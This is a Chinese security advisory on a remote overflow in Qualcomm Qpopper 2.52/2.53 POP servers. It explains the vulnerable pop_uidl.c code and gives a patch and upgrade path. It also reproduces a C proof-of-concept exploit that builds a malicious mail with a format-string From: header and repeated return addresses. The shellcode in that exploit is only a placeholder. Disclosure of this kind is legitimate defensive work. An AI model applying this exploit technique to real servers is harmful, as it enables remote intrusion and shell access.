安全研究

安全漏洞
Qualcomm Qpopper 2.53远程溢出漏洞

发布日期:2000-05-25
更新日期:2000-05-26

受影响系统:
Qualcomm qpopper 2.53 / 2.52
不受影响系统:
Qualcomm qpopper 3.1
Qualcomm qpopper 3.0.2
Qualcomm qpopper 3.0.1
Qualcomm qpopper 3.0
描述:
Qpopper是一个非常流行的Unix POP服务器软件,2.53版是最稳定的版本,日前被发现存在
一个远程缓冲区溢出漏洞。攻击者可以将可执行代码放在邮件头的X-UIDL域内,并在"From:"
域内放一些特殊的字符串,然后发送这封邮件给某用户。用户登录时,如果执行euidl命令,
将会导致发生缓冲区溢出。攻击者可能获得'mail'组权限,并得到一个远程的shell,完成这
种攻击需要攻击者有一个系统账号,这削弱了一些这个漏洞的危险性。

有问题的代码在pop_uidl.c中:

     ................
          sprintf(buffer, "%d %s", msg_id, mp->uidl_str);
          if (nl = index(buffer, NEWLINE)) *nl = 0;
          sprintf(buffer, "%s %d %.128s", buffer, mp->length, from_hdr(p, mp));
     !      return (pop_msg (p,POP_SUCCESS, buffer));

pop_msg()会错误的使用用户输入的字符串来显示,导致问题产生。

<* 来源: prizm (prizm@resentment.org)
          http://b0f.freebsd.lublin.pl
*>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*  qpop_euidl.c exploit by prizm/Buffer0verflow Security
*
*  Sample exploit for buffer overflow in Qpopper 2.53.
*  This little proggie generates a mail u need to send.
*
*  Standard disclaimer applies.
*  By the way, exploit is broken =) You need to insert shellcode.
*
*  MAD greets to tf8 for pointing out the bug, and all other b0f members.
*  greets to USSRLabs and ADM
*  check http://b0f.freebsd.lublin.pl/ for news.
*/
#include <stdio.h>
#include <string.h>

char shellcode[]="imnothing";
int main(int argc, char *argv[])
{
    int i;
    unsigned long ra=0;
    if(argc!=2) {
        fprintf(stderr,"Usage: %s return_addr\n", argv[0]);
        exit(0);
    }
    sscanf(argv[1], "%x", &ra);
    if(!ra)
         return;
    if(sizeof(shellcode) < 12 || sizeof(shellcode) > 76) {
        fprintf(stderr,"Bad shellcode\n");
        exit(0);
    }
    fprintf(stderr,"return address: 0x%.8x\n", ra);
    printf("X-UIDL: ");
    for(i=0; i < sizeof(shellcode);i++)
        printf("%c", shellcode[i]);
    printf("\r\n");
    printf("From: %s", "%.1000d");
    for(i=0; i < 50; i++)
        printf("%c%c%c%c", (ra & 0xff), (ra & 0xff00)>>8, (ra & 0xff0000)>>16, (ra & 0xff000000)>>24);
    printf("@test\r\n");
    printf("Subject: test\r\n\r\nhuh?\r\n.\r\n");
    return 0;
}


建议:
补丁程序:

将pop_uidl.c中的下列语句
- return (pop_msg (p,POP_SUCCESS, buffer));
替换成:
+ return (pop_msg (p,POP_SUCCESS, "%s", buffer));
    
或者升级到QPOP 3.0以上版本,下载地址:
http://www.eudora.com/freeware/qpop.html#CURRENT

浏览次数:6150
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障